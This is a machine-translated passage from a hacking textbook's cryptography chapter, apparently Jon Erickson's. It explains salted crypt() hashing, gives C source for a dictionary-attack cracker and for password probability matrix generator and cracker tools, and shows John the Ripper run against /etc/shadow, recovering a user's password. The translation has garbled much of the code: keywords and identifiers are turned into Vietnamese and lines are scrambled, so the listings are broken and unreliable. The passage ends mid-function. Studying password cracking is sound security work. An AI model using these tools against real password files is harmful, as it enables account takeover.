reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c /tmp/
cccrSvYU.o: Trong hàm `main':
crypt_test.c:(.text+0x73): tham chiếu không xác định đến `crypt'
collect2: ld trả về 1 trạng thái thoát
reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c -l crypt
reader@hacking:~/booksrc $ ./crypt_test thử nghiệm je
mật khẩu "thử nghiệm" với hàm băm "je" thành ==> jeLu9ckBgvgX.
reader@hacking:~/booksrc $ ./crypt_test thử nghiệm je
mật khẩu "test" với hàm băm "je" thành ==> jeHEAX1m66RV.
reader@hacking:~/booksrc $ ./crypt_test thử nghiệm xy
mật khẩu "test" với hàm băm "xy" muối thành ==> xyVSuHLjceD92
người đọc@hacking:~/booksrc $
Lưu ý rằng trong hai lần chạy cuối cùng, cùng một mật khẩu được mã hóa, nhưng
sử dụng các giá trị salt khác nhau. Giá trị salt được sử dụng để làm nhiễu thuật
toán hơn nữa, do đó có thể có nhiều giá trị băm cho cùng một giá trị văn bản thuần túy
nếu sử dụng các giá trị salt khác nhau. Giá trị băm (bao gồm cả salt được thêm vào
trước) được lưu trữ trong tệp mật khẩu với tiền đề là nếu kẻ tấn công đánh cắp tệp
mật khẩu, các hàm băm sẽ vô dụng.
Khi một người dùng hợp lệ cần xác thực bằng hàm băm mật khẩu, hàm băm của người
dùng đó sẽ được tra cứu trong tệp mật khẩu. Người dùng được nhắc nhập mật khẩu, giá
trị muối ban đầu sẽ được trích xuất từ tệp mật khẩu và bất kỳ thông tin nào người dùng
nhập sẽ được gửi qua cùng một hàm băm một chiều với giá trị muối. Nếu nhập đúng mật
khẩu, hàm băm một chiều sẽ tạo ra cùng một đầu ra băm như được lưu trữ trong tệp mật
khẩu.
Điều này cho phép xác thực hoạt động như mong đợi mà không cần phải lưu trữ mật khẩu
dạng văn bản thuần túy.
0x761 Tấn công từ điển
Tuy nhiên, hóa ra mật khẩu được mã hóa trong tệp mật khẩu không vô dụng đến vậy. Chắc
chắn, về mặt toán học, không thể đảo ngược hàm băm, nhưng có thể băm nhanh mọi từ
trong từ điển, sử dụng giá trị muối cho một hàm băm cụ thể, sau đó so sánh kết quả với
hàm băm đó. Nếu các hàm băm khớp nhau, thì từ đó trong từ điển phải là mật khẩu dạng
văn bản thuần túy.
Một chương trình tấn công từ điển đơn giản có thể được tạo ra khá dễ dàng. Nó chỉ
cần đọc các từ trong một tệp, băm từng từ bằng giá trị muối thích hợp và hiển thị từ
nếu có sự trùng khớp. Mã nguồn sau đây thực hiện điều này bằng các hàm filestream, được
bao gồm trong stdio.h. Các hàm này dễ làm việc hơn vì chúng gói gọn sự lộn xộn của các
lệnh gọi open() và các mô tả tệp, thay vào đó sử dụng các con trỏ cấu trúc FILE. Trong
mã nguồn bên dưới, đối số r của lệnh gọi fopen() yêu cầu nó mở tệp để đọc. Nó trả về
NULL nếu lỗi hoặc một con trỏ đến filestream đang mở. Lệnh gọi fgets() lấy một chuỗi
từ filestream, với độ dài tối đa hoặc khi nó đạt đến cuối một dòng. Trong trường hợp
này, nó được sử dụng để đọc từng dòng từ tệp danh sách từ.
Hàm này cũng trả về NULL khi có lỗi, được sử dụng để phát hiện khi tệp kết thúc.
Mật mã học 419
Machine Translated by Google
crypt_crack.c
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
/* Nôn ra một thông điệp và thoát.
*/ void barf(char *message, char *extra)
{ printf(message, extra);
exit(1);
}
/* Một chương trình ví dụ về tấn công từ điển
*/ int main(int argc, char *argv[]) {
TỆP *danh sách
từ; char *băm, từ[30], muối[3];
nếu(đối số <
2) barf("Cách sử dụng: %s <tệp danh sách từ> <băm mật khẩu>\n", argv[0]);
strncpy(salt, argv[2], 2); // 2 byte đầu tiên của hàm băm là salt.
salt[2] = '\0'; // kết thúc chuỗi
printf("Giá trị muối là \'%s\'\n", salt);
if( (wordlist = fopen(argv[1], "r")) == NULL) // Mở danh sách từ.
barf("Fatal: không thể mở tệp \'%s\'.\n", argv[1]);
while(fgets(word, 30, wordlist) != NULL) { // Đọc từng từ
word[strlen(word)-1] = '\0'; // Xóa byte '\n' ở cuối. hash = crypt(word,
salt); // Băm từ bằng salt. printf("trying word: %-30s ==>
%15s\n", word, hash); if(strcmp(hash, argv[2]) == 0) { //
Nếu băm khớp printf("Băm \"%s\" là từ ", argv[2]);
printf("plaintext password \"%s\".\n", word);
fclose(wordlist); exit(0);
}
} printf("Không tìm thấy mật khẩu dạng văn bản thuần túy trong danh sách từ được cung cấp.\n");
fclose(danh sách từ);
}
Đầu ra sau đây cho thấy chương trình này được sử dụng để bẻ khóa mật khẩu
băm jeHEAX1m66RV., bằng cách sử dụng các từ tìm thấy trong /usr/share/dict/words.
trình đọc@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt
trình đọc@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV.
Giá trị muối là
420 0x700
'je' đang
==> jesS3DmkteZYk
thử từ: đang thử
==> jeV7uK/Sy/KU ==>
từ: A đang thử từ:
jeEcn7sF7jwWU ==>
A's đang thử từ:
jeSFGex8ANJDE ==>
AOL đang thử từ: AOL's
jesSDhacNYUbc
Machine Translated by Google
từ thử thách: Aachen
==> jeyQc3uB14q1E
từ thử thách: Aachen từ
==> je7AQSxfhvsyM
thử thách: Aaliyah
==> je/vAqRJyOZvU
.:[ đầu ra đã được cắt bớt ]:.
từ thử: ngắn gọn ==> jelgEmNGLflJ2
từ thử: ngắn gọn ==> jeYfo1aImUWqg
từ thử: sự ngắn gọn ==> jedH11z6kkEaA
từ thử: sự ngắn gọn ==> jedH11z6kkEaA
thử từ: terser ==> jeXptBe6psF3g
đang thử từ: tersest ==> jenhzylhDIqBA
thử từ: tertiary ==> jex6uKY9AJDto
thử từ: test ==> jeHEAX1m66RV.
Mã băm "jeHEAX1m66RV." xuất phát từ mật khẩu dạng văn bản thuần túy "test".
người đọc@hacking:~/booksrc $
Vì từ test là mật khẩu gốc và từ này được tìm thấy trong tệp words, nên băm mật khẩu cuối cùng
sẽ bị bẻ khóa. Đây là lý do tại sao việc sử dụng mật khẩu là từ trong từ điển hoặc dựa trên từ trong
từ điển được coi là hành vi bảo mật kém.
Nhược điểm của cuộc tấn công này là nếu mật khẩu gốc không phải là một từ tìm thấy trong tệp từ
điển, mật khẩu sẽ không được tìm thấy. Ví dụ, nếu một từ không có trong từ điển như h4R% được sử dụng
làm mật khẩu, cuộc tấn công từ điển sẽ không thể tìm thấy nó:
người đọc@hacking:~/booksrc $ ./crypt_test h4R% je
mật khẩu "h4R%" với hàm băm "je" thành ==> jeMqqfIfPNNTE
reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE
Giá trị muối là 'je'
từ thử: từ
==> jesS3DmkteZYk
thử: A từ thử: A
==> jeV7uK/Sy/KU
từ thử: AOL từ thử:
==> jeEcn7sF7jwWU
AOL từ thử: Aachen
==> jeSFGex8ANJDE
từ thử: Aachen từ thử:
==> jesSDhacNYUbc
Aaliyah
==> jeyQc3uB14q1E
==> je7AQSxfhvsyM
==> je/vAqRJyOZvU
.:[ đầu ra đã được cắt bớt ]:.
thử từ: zooms ==> je8A6DQ87wHHI
thử từ: sở thú ==> jePmCz9ZNPwKU
thử từ: bí ngồi ==> jeqZ9LSWt.esI
thử từ: zucchini's ==> jeqZ9LSWt.esI
thử từ: bí ngồi ==> jeqZ9LSWt.esI
thử từ: zwieback ==> jezzR3b5zwlys
thử từ: zwieback's ==> jezzR3b5zwlys
thử từ: hợp tử ==> jei5HG7JrfLy6
thử từ: hợp tử ==> jej86M9AG0yj2
thử từ: zygotes ==> jeWHQebUlxTmo
Không tìm thấy mật khẩu dạng văn bản thuần túy trong danh sách từ được cung cấp.
Mật mã học 421
Machine Translated by Google
Các tệp từ điển tùy chỉnh thường được tạo bằng các ngôn ngữ khác nhau, các sửa đổi
chuẩn của từ (chẳng hạn như chuyển đổi chữ cái thành số) hoặc chỉ cần thêm số vào cuối
mỗi từ. Mặc dù một từ điển lớn hơn sẽ tạo ra nhiều mật khẩu hơn, nhưng cũng sẽ mất nhiều
thời gian hơn để xử lý.
0x762 Tấn công Brute-Force triệt để
Một cuộc tấn công từ điển thử mọi kết hợp có thể là một cuộc tấn công vũ phu . Mặc dù về
mặt kỹ thuật, loại tấn công này có thể bẻ khóa mọi mật khẩu có thể tưởng tượng được,
nhưng có lẽ sẽ mất nhiều thời gian hơn cháu của cháu bạn có thể chờ đợi.
Với 95 ký tự đầu vào có thể có cho mật khẩu theo kiểu crypt() , có 958 mật khẩu
có thể có để tìm kiếm toàn diện tất cả các mật khẩu tám ký tự, tương đương với hơn
bảy nghìn tỷ mật khẩu có thể có.
Con số này tăng lên rất nhanh vì khi thêm một ký tự vào độ dài mật khẩu, số lượng mật khẩu
khả thi sẽ tăng theo cấp số nhân.
Giả sử 10.000 lần bẻ khóa mỗi giây, sẽ mất khoảng 22.875 năm để thử mọi mật khẩu. Phân
phối nỗ lực này trên nhiều máy và bộ xử lý là một cách tiếp cận khả thi; tuy nhiên, điều
quan trọng cần nhớ là điều này sẽ chỉ đạt được tốc độ tăng tuyến tính. Nếu một nghìn máy
được kết hợp, mỗi máy có khả năng bẻ khóa 10.000 lần mỗi giây, thì nỗ lực vẫn sẽ mất
hơn 22 năm. Tốc độ tăng tuyến tính đạt được bằng cách thêm một máy khác là không đáng kể
so với sự gia tăng không gian khóa khi một ký tự khác được thêm vào độ dài mật khẩu.
May mắn thay, nghịch đảo của sự tăng trưởng theo cấp số nhân cũng đúng; như các ký tự
được loại bỏ khỏi độ dài mật khẩu, số lượng mật khẩu có thể giảm theo cấp số nhân. Điều
này có nghĩa là mật khẩu bốn ký tự chỉ có 954 mật khẩu có thể. Không gian khóa này chỉ có
khoảng 84 triệu mật khẩu có thể, có thể bị bẻ khóa hoàn toàn (giả sử 10.000 lần bẻ khóa
mỗi giây) trong hơn hai giờ một chút. Điều này có nghĩa là, mặc dù mật khẩu như h4R%
không có trong bất kỳ từ điển nào, nó có thể bị bẻ khóa trong một khoảng thời gian hợp lý.
Điều này có nghĩa là, ngoài việc tránh các từ trong từ điển, độ dài mật khẩu cũng rất
quan trọng. Vì độ phức tạp tăng theo cấp số nhân, việc tăng gấp đôi độ dài để tạo ra mật
khẩu tám ký tự sẽ đưa mức độ nỗ lực cần thiết để bẻ khóa mật khẩu vào khung thời gian không
hợp lý.
Solar Designer đã phát triển một chương trình bẻ khóa mật khẩu có tên là John
Ripper sử dụng đầu tiên là một cuộc tấn công từ điển và sau đó là một cuộc tấn công vũ phu. Chương
trình này có lẽ là chương trình phổ biến nhất cùng loại; có sẵn tại http://www.openwall.com/john. Nó
đã được đưa vào LiveCD.
người đọc@hacking:~/booksrc $ john
John the Ripper Phiên bản 1.6 Bản quyền (c) 1996-98 của Solar Designer
Cách sử dụng: john [TÙY CHỌN] [TỆP MẬT KHẨU]
422 0x700
-single
-wordfile:FILE -stdin
chế độ danh sách từ, đọc các từ từ FILE hoặc stdin
chế độ "vết nứt đơn"
-quy tắc
bật quy tắc cho chế độ danh sách từ
Machine Translated by Google
-incremental[:MODE]
chế độ gia tăng [sử dụng phần MODE]
-external:MODE
chế độ bên ngoài hoặc bộ lọc từ
-stdout[:LENGTH]
không nứt, chỉ cần ghi các từ vào stdout
-restore[:FILE]
khôi phục phiên bị gián đoạn [từ TỆP]
-session:FILE
đặt tên tệp phiên thành FILE
-status[:FILE]
in trạng thái của một phiên [từ TỆP]
-makechars:FILE
tạo một charset, FILE sẽ bị ghi đè
-trình diễn
hiển thị mật khẩu đã bẻ khóa
-Bài kiểm tra
thực hiện một chuẩn mực
-users:[-]LOGIN|UID[,..] chỉ tải người dùng này (những người dùng này)
-groups:[-]GID[,..] chỉ tải người dùng của nhóm này (những nhóm này)
-shells:[-]SHELL[,..] tải người dùng chỉ với shell này (các shell này)
-salts:[-]COUNT tải salts với ít nhất COUNT mật khẩu chỉ
-format:NAME buộc định dạng văn bản mã hóa TÊN (DES/BSDI/MD5/BF/AFS/LM)
-savemem:CẤP ĐỘ
cho phép tiết kiệm bộ nhớ, ở CẤP ĐỘ 1..3
reader@hacking:~/booksrc $ sudo tail -3 /etc/shadow
ma trận:$1$zCcRXVsm$GdpHxqC9epMrdQcayUx0//:13763:0:99999:7:::
jose:$1$pRS4.I8m$Zy5of8AtD800SeMgm.2Yg.:13786:0:99999:7:::
người đọc:U6aMy0wojraho:13764:0:99999:7:::
người đọc@hacking:~/booksrc $ sudo john /etc/shadow
Đã tải 2 mật khẩu với 2 loại muối khác nhau (FreeBSD MD5 [32/32])
đoán: 0 thời gian: 0:00:00:01 0% (2) c/s: 5522 đang thử: koko
đoán: 0 thời gian: 0:00:00:03 6% (2) c/s: 5489 đang thử: xuất khẩu
đoán: 0 thời gian: 0:00:00:05 10% (2) c/s: 5561 đang thử: catcat
đoán: 0 thời gian: 0:00:00:09 20% (2) c/s: 5514 đang thử: dilbert!
đoán: 0 thời gian: 0:00:00:10 22% (2) c/s: 5513 đang thử: redrum3
kiểm tra7 (jose)
đoán: 1 lần: 0:00:00:14 44% (2) c/s: 5539 đang thử: KnightKnight
đoán: 1 lần: 0:00:00:17 59% (2) c/s: 5572 đang thử: Gofish!
Phiên đã bị hủy
Trong kết quả này, tài khoản jose được hiển thị có mật khẩu là testing7.
Bảng tra cứu băm 0x763
Một ý tưởng thú vị khác để bẻ khóa mật khẩu là sử dụng bảng tra cứu băm khổng lồ.
Nếu tất cả các băm cho tất cả các mật khẩu có thể được tính toán trước và lưu trữ
trong một cấu trúc dữ liệu có thể tìm kiếm ở đâu đó, bất kỳ mật khẩu nào cũng có
thể bị bẻ khóa trong thời gian tìm kiếm. Giả sử tìm kiếm nhị phân, thời gian này
sẽ là khoảng O(log2 N), trong đó N là số mục nhập. Vì N là 958 trong trường hợp mật
khẩu tám ký tự, điều này sẽ tính ra khoảng O(8 log2 95), khá nhanh.
Tuy nhiên, một bảng tra cứu băm như thế này sẽ cần khoảng 100.000 tera-byte
dung lượng lưu trữ. Ngoài ra, thiết kế của thuật toán băm mật khẩu sẽ tính đến loại
tấn công này và giảm thiểu nó bằng giá trị salt.
Vì nhiều mật khẩu dạng văn bản thuần túy sẽ băm thành các hàm băm mật khẩu khác
nhau với các muối khác nhau nên cần phải tạo một bảng tra cứu riêng cho mỗi muối.
Với hàm crypt() dựa trên DES , có 4.096 giá trị salt có thể có, điều này có nghĩa
là ngay cả đối với không gian khóa nhỏ hơn, chẳng hạn như tất cả các mật khẩu bốn
ký tự có thể có, thì bảng tra cứu băm cũng trở nên không thực tế. Với một salt cố
định, không gian lưu trữ cần thiết cho một bảng tra cứu duy nhất cho tất cả các mật
khẩu bốn ký tự có thể có là khoảng một gigabyte, nhưng vì các giá trị salt, nên có 4.096
Mật mã học 423
Machine Translated by Google
băm có thể có cho một mật khẩu dạng văn bản thuần túy, đòi hỏi 4.096 bảng khác
nhau. Điều này làm tăng không gian lưu trữ cần thiết lên khoảng 4,6 terabyte, ngăn
chặn đáng kể một cuộc tấn công như vậy.
Ma trận xác suất mật khẩu 0x764
Có một sự đánh đổi giữa sức mạnh tính toán và không gian lưu trữ tồn tại ở khắp mọi nơi. Điều này có
thể thấy ở những dạng cơ bản nhất của khoa học máy tính và cuộc sống hàng ngày. Các tệp MP3 sử dụng nén
để lưu trữ tệp âm thanh chất lượng cao trong một lượng không gian tương đối nhỏ, nhưng nhu cầu về tài
nguyên tính toán tăng lên. Máy tính bỏ túi sử dụng sự đánh đổi này trong các dạng khác
hướng bằng cách duy trì bảng tra cứu các hàm như sin và cos để máy tính không phải
thực hiện các phép tính nặng.
Sự đánh đổi này cũng có thể được áp dụng cho mật mã trong cái được gọi là
cuộc tấn công đánh đổi thời gian/không gian. Mặc dù các phương pháp của Hellman
cho loại tấn công này có thể hiệu quả hơn, nhưng mã nguồn sau đây sẽ dễ hiểu hơn.
Tuy nhiên, nguyên tắc chung luôn giống nhau: Cố gắng tìm điểm phù hợp giữa sức
mạnh tính toán và không gian lưu trữ, để có thể hoàn thành một cuộc tấn công vũ
phu trong một khoảng thời gian hợp lý, sử dụng một lượng không gian hợp lý. Thật
không may, tình thế tiến thoái lưỡng nan của muối vẫn sẽ xuất hiện, vì phương
pháp này vẫn yêu cầu một số hình thức lưu trữ. Tuy nhiên, chỉ có 4.096 muối có thể
có với hàm băm mật khẩu theo kiểu crypt() , vì vậy tác động của vấn đề này có thể
giảm bớt bằng cách giảm không gian lưu trữ cần thiết đủ xa để vẫn hợp lý mặc dù có
hệ số nhân 4.096.
Phương pháp này sử dụng một dạng nén có mất mát. Thay vì có một bảng tra
cứu băm chính xác, một vài nghìn giá trị văn bản thuần túy có thể sẽ được trả
về khi nhập băm mật khẩu. Các giá trị này có thể được kiểm tra nhanh chóng để
hội tụ về mật khẩu văn bản thuần túy ban đầu và nén có mất mát cho phép giảm
đáng kể không gian. Trong mã trình diễn sau đây, không gian khóa cho tất cả các
mật khẩu bốn ký tự có thể (có muối cố định) được sử dụng. Không gian lưu trữ cần
thiết giảm 88 phần trăm, so với bảng tra cứu băm đầy đủ (có muối cố định) và không
gian khóa phải bị tấn công bằng vũ lực giảm khoảng 1.018 lần. Với giả định 10.000
lần bẻ khóa mỗi giây, phương pháp này có thể bẻ khóa bất kỳ mật khẩu bốn ký tự nào
(có muối cố định) trong vòng chưa đầy tám giây, đây là tốc độ tăng đáng kể khi so
sánh với hai giờ cần thiết cho một cuộc tấn công vũ lực toàn diện của cùng một
không gian khóa.
Phương pháp này xây dựng một ma trận nhị phân ba chiều tương quan các phần
của giá trị băm với các phần của giá trị văn bản thuần túy. Trên trục x, văn bản
thuần túy được chia thành hai cặp: hai ký tự đầu tiên và hai ký tự thứ hai. Các
giá trị có thể được liệt kê thành một vectơ nhị phân là 952
, hoặc 9.025 bit dài (khoảng 1.129 byte). Trên trục y, văn bản mã hóa được
chia thành bốn khối ba ký tự. Chúng được liệt kê theo cùng một cách xuống các cột,
nhưng chỉ có bốn bit của ký tự thứ ba thực sự được sử dụng.
Điều này có nghĩa là có 642 · 4, hoặc 16.384, cột. Trục z tồn tại chỉ để duy trì
tám ma trận hai chiều khác nhau, do đó có bốn ma trận tồn tại cho mỗi cặp văn bản
thuần túy.
424 0x700
Machine Translated by Google
Ý tưởng cơ bản là chia bản rõ thành hai giá trị ghép đôi được liệt kê dọc
theo một vectơ. Mọi bản rõ có thể được băm thành bản mã và bản mã được sử dụng để
tìm cột thích hợp của ma trận.
Sau đó, bit liệt kê văn bản thuần túy trên hàng của ma trận được bật. Khi các giá trị văn bản mã hóa
được giảm thành các phần nhỏ hơn, va chạm là không thể tránh khỏi.
Băm văn bản thuần túy
Bài kiểm tra
jeHEAX1m66RV.
!J)h
jeHEA38vqlkkQ
".F+
jeHEA1Tbde5FE
"8,J
jeHEAnX8kQK3I
Trong trường hợp này, cột HEA sẽ có các bit tương ứng với các cặp văn bản thuần túy te, !J, ".,
và "8 được bật khi các cặp văn bản thuần túy/băm này được thêm vào ma trận.
Sau khi ma trận được điền đầy đủ, khi một hàm băm như jeHEA38vqlkkQ
được nhập, cột cho HEA sẽ được tra cứu và ma trận hai chiều sẽ trả về các giá trị te, !J, "., và
"8 cho hai ký tự đầu tiên của văn bản thuần túy. Có bốn ma trận như thế này cho hai ký tự đầu tiên,
sử dụng chuỗi con văn bản mã hóa từ các ký tự từ 2 đến 4, từ 4 đến 6, từ 6 đến 8 và từ 8 đến 10,
mỗi ma trận có một vectơ khác nhau của các giá trị văn bản thuần túy hai ký tự đầu tiên có thể. Mỗi
vectơ được kéo và chúng được kết hợp với AND từng bit. Điều này sẽ chỉ để lại các bit được bật tương
ứng với các cặp văn bản thuần túy được liệt kê là các khả năng cho mỗi chuỗi con văn bản mã hóa.
Cũng có bốn ma trận như thế này cho hai ký tự cuối cùng của văn bản thuần túy.
Kích thước của ma trận được xác định theo nguyên lý chuồng bồ câu.
Đây là một nguyên lý đơn giản nêu rằng: Nếu k + 1 vật thể được đặt vào k hộp, ít
nhất một trong các hộp sẽ chứa hai vật thể. Vì vậy, để có được kết quả tốt nhất,
, hoặc
mục tiêu là mỗi vectơ phải ít hơn một nửa số 1 một chút. Kể từ 954
81.450.625 mục sẽ được đưa vào ma trận, cần phải có khoảng gấp đôi số lỗ để đạt
được độ bão hòa 50 phần trăm. Vì mỗi vectơ có 9.025 mục, nên sẽ có khoảng (954 ·
2) / 9025 cột. Điều này tương đương với khoảng 18.000 cột. Vì các chuỗi con bản mã
hóa gồm ba ký tự đang được sử dụng cho các cột, nên hai ký tự đầu tiên và bốn bit
từ ký tự thứ ba được sử dụng để cung cấp 642 · 4 hoặc khoảng 16 nghìn cột (chỉ có
64 giá trị có thể cho mỗi ký tự của hàm băm bản mã hóa).
Điều này đủ gần, vì khi một bit được thêm hai lần, sự chồng chéo sẽ bị bỏ qua. Trong thực tế, mỗi
vectơ hóa ra bão hòa khoảng 42 phần trăm với 1.
Vì có bốn vectơ được kéo cho một bản mã duy nhất, nên xác suất bất kỳ vị
trí liệt kê nào có giá trị 1 trong mỗi vectơ là khoảng 0,424
, hoặc khoảng 3,11 phần trăm. Điều này có nghĩa là, trung bình,
9.025 khả năng cho hai ký tự đầu tiên của văn bản thuần túy được giảm khoảng 97
phần trăm xuống còn 280 khả năng. Điều này cũng được thực hiện cho hai ký tự cuối
, hoặc
cùng, cung cấp khoảng
2802
78.400 giá trị văn bản thuần túy có thể. Với giả định 10.000 lần bẻ khóa
mỗi giây, không gian khóa giảm này sẽ mất dưới 8 giây để kiểm tra.
Mật mã học 425
Machine Translated by Google
Tất nhiên, có những nhược điểm. Đầu tiên, phải mất ít nhất thời gian để
tạo ma trận như cuộc tấn công brute-force ban đầu; tuy nhiên, đây là chi phí
một lần. Ngoài ra, các muối vẫn có xu hướng ngăn chặn mọi loại tấn công lưu
trữ, ngay cả khi yêu cầu về không gian lưu trữ giảm.
Hai danh sách mã nguồn sau đây có thể được sử dụng để tạo ma trận xác
suất mật khẩu và bẻ khóa mật khẩu bằng nó. Danh sách đầu tiên sẽ tạo ra một
ma trận có thể được sử dụng để bẻ khóa tất cả các mật khẩu bốn ký tự có thể
được thêm muối bằng je. Danh sách thứ hai sẽ sử dụng ma trận được tạo ra để
thực sự bẻ khóa mật khẩu.
ppm_gen.c
/*************************************************** ********\
* Ma trận xác suất mật khẩu *
Tập tin: ppm_gen.c
*
**************************************************** **********
*
*
* Tác giả:
Jon Erickson <matrix@phiral.com> Tổ
*
chức: Phòng thí nghiệm nghiên cứu Phiral
*
*
* Đây là chương trình tạo ra bằng chứng PPM của
*
khái niệm. Nó tạo ra một tệp có tên là 4char.ppm, *
* chứa thông tin liên quan đến tất cả các mật khẩu 4 ký tự
* có thể được thêm 'je'. Tệp này có thể * được sử dụng để nhanh
chóng bẻ khóa các mật khẩu được tìm thấy trong * này
* keyspace với chương trình ppm_crack.c tương ứng.
*
\************************************************* ********/
#xác định _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define CHIỀU CAO 16384
#define CHIỀU RỘNG 1129
#define ĐỘ SÂU 8
#define KÍCH THƯỚC CHIỀU CAO * CHIỀU RỘNG * CHIỀU SÂU
/* Ánh xạ một byte băm đơn lẻ thành một giá trị được liệt kê. */
int enum_hashbyte(ký tự a) {
số nguyên i, j;
i = (int)a;
nếu((i >= 46) && (i <= 57))
j = i - 46;
nếu không thì nếu ((i >= 65) && (i <= 90))
j = i - 53;
nếu không thì nếu ((i >= 97) && (i <= 122))
j = i - 59;
trả về j;
}
/* Ánh xạ 3 byte băm thành một giá trị được liệt kê. */
int enum_hashtriplet(ký tự a, ký tự b, ký tự c) {
426 0x700
*
*
*
*
*
*
*
Machine Translated by Google
trả về (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b));
}
/* Nôn ra một thông điệp và thoát.
*/ void barf(char *message, char *extra)
{ printf(message, extra);
exit(1);
}
/* Tạo một tệp 4 ký tự.ppm với tất cả các mật khẩu 4 ký tự có thể (được thêm muối bằng je). */ int
main() { char
plain[5]; char
*code, *data; int i,
j, k, l; unsigned
int charval, val; FILE *handle;
if (!(handle =
fopen("4char.ppm", "w"))) barf("Lỗi: Không thể
mở tệp '4char.ppm' để ghi.\n", NULL);
data = (char *) malloc(SIZE); if
(!(data))
barf("Lỗi: Không thể phân bổ bộ nhớ.\n", NULL);
đối với (i = 32; i < 127; i++) {
đối với (j = 32; j < 127; j++) {
printf("Đang thêm %c%c** vào 4char.ppm..\n", i, j);
for(k=32; k<127; k++) {
đối với (l = 32; l < 127; l++) {
plain[0] = (char)i; // Xây dựng mọi
plain[1] = (char)j; // 4 byte có thể có
plain[2] = (char)k; // password.
plain[3] = (char)l;
plain[4] = '\0';
code = crypt((const char *)plain, (const char *)"je"); // Băm nó.
/* Lưu trữ thông tin thống kê về các cặp theo dạng mất mát. */ val =
enum_hashtriplet(code[2], code[3], code[4]); // Lưu trữ thông tin về byte 2-4.
ký tự = (i-32)*95 + (j-32); // Dữ liệu 2 byte văn bản gốc đầu
tiên[(val*WIDTH)+(charval/8)] |= (1<<(charval%8)); val +=
(HEIGHT * 4); charval
= (k-32)*95 + (l-32); // Dữ liệu 2 byte văn bản gốc cuối
cùng[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val = HEIGHT + enum_hashtriplet(code[4], code[5], code[6]); // byte 4-6 charval =
(i-32)*95 + (j-32); // 2 byte văn bản thuần túy đầu tiên
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8)); val +=
(HEIGHT * 4); charval
= (k-32)*95 + (l-32); // 2 byte văn bản thuần túy cuối cùng
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val = (2 * CHIỀU CAO) + enum_hashtriplet(code[6], code[7], code[8]); // byte 6-8 charval =
(i-32)*95 + (j-32); // 2 byte văn bản thuần túy đầu tiên
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8)); val +=
(CHIỀU CAO * 4);
Mật mã học 427
Machine Translated by Google
charval = (k-32)*95 + (l-32); // 2 byte văn bản thuần túy cuối cùng
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val = (3 * CHIỀU CAO) + enum_hashtriplet(code[8], code[9], code[10]); // byte 8-10
charval = (i-32)*95 + (j-32); // 2 ký tự đầu tiên của văn bản thuần túy
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (CHIỀU CAO * 4);
charval = (k-32)*95 + (l-32); // 2 byte văn bản thuần túy cuối cùng
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
}
}
}
}
printf("hoàn tất.. đang lưu..\n");
fwrite(dữ liệu, KÍCH THƯỚC, 1, xử lý);
miễn phí(dữ liệu);
fclose(xử lý);
}
Đoạn mã đầu tiên, ppm_gen.c, có thể được sử dụng để tạo ma trận xác
suất mật khẩu bốn ký tự, như được hiển thị trong đầu ra bên dưới. Tùy chọn
-O3 được chuyển đến GCC cho biết mã cần tối ưu hóa tốc độ khi biên dịch.
reader@hacking:~/booksrc $ gcc -O3 -o ppm_gen ppm_gen.c -lcrypt
reader@hacking:~/booksrc $ ./ppm_gen Đang
thêm ** vào 4char.ppm..
Thêm !** vào 4char.ppm..
Thêm "** vào 4char.ppm..
.:[ đầu ra đã được cắt bớt ]:.
Thêm ~|** vào 4char.ppm..
Thêm ~}** vào 4char.ppm..
Thêm ~~** vào 4char.ppm..
hoàn thành.. đang lưu..
@hacking:~ $ ls -lh 4char.ppm -rwr--r-- 1 142M 2007-09-30 13:56 4char.ppm
người đọc@hacking:~/booksrc $
Tệp 4char.ppm 142MB chứa các liên kết lỏng lẻo giữa văn bản thuần túy
và dữ liệu băm cho mọi mật khẩu bốn ký tự có thể. Dữ liệu này sau đó có thể
được chương trình tiếp theo này sử dụng để nhanh chóng bẻ khóa mật khẩu bốn ký
tự có thể ngăn chặn một cuộc tấn công từ điển.
ppm_crack.c
/*************************************************** ********\
* Ma trận xác suất mật khẩu *
Tập tin: ppm_crack.c *
**************************************************** **********
*
*
* Tác giả: Jon Erickson <matrix@phiral.com> Tổ chức: Phòng thí nghiệm
*
*
nghiên cứu Phiral
428 0x700
*
*
*
Machine Translated by Google
* Đây là chương trình crack cho bằng chứng khái niệm PPM.* * Nó
sử dụng một tệp hiện có có tên là 4char.ppm, * chứa thông
tin liên quan đến tất cả các mật khẩu 4– * ký tự có
thể được thêm muối bằng 'je'. Tệp này * có thể được tạo bằng
chương trình ppm_gen.c tương ứng.
*
*
*
*
*
*
\************************************************* ********/
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define CHIỀU CAO 16384 #define
CHIỀU RỘNG 1129 #define CHIỀU
SÂU 8 #define KÍCH
THƯỚC CHIỀU CAO * CHIỀU RỘNG * CHIỀU SÂU #define CHIỀU
CAO DCM * CHIỀU RỘNG
/* Ánh xạ một byte băm đơn thành một giá trị được liệt kê.
*/ int enum_hashbyte(char a)
{ int i,
j; i =
(int)a; if((i >= 46) && (i
<= 57)) j =
i - 46; else if ((i >= 65) && (i <=
90)) j = i
- 53; else if ((i >= 97) && (i <=
122)) j = i
- 59; return j;
}
/* Ánh xạ 3 byte băm thành một giá trị được liệt
kê. */ int enum_hashtriplet(char a, char b, char
c) { return (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b));
}
/* Gộp hai vector. */ void
merge(char *vector1, char *vector2) {
int i;
cho(i=0; i < CHIỀU RỘNG; i++)
vector1[i] &= vector2[i];
}
/* Trả về bit trong vectơ tại vị trí chỉ mục được truyền */ int
get_vector_bit(char *vector, int index) { return
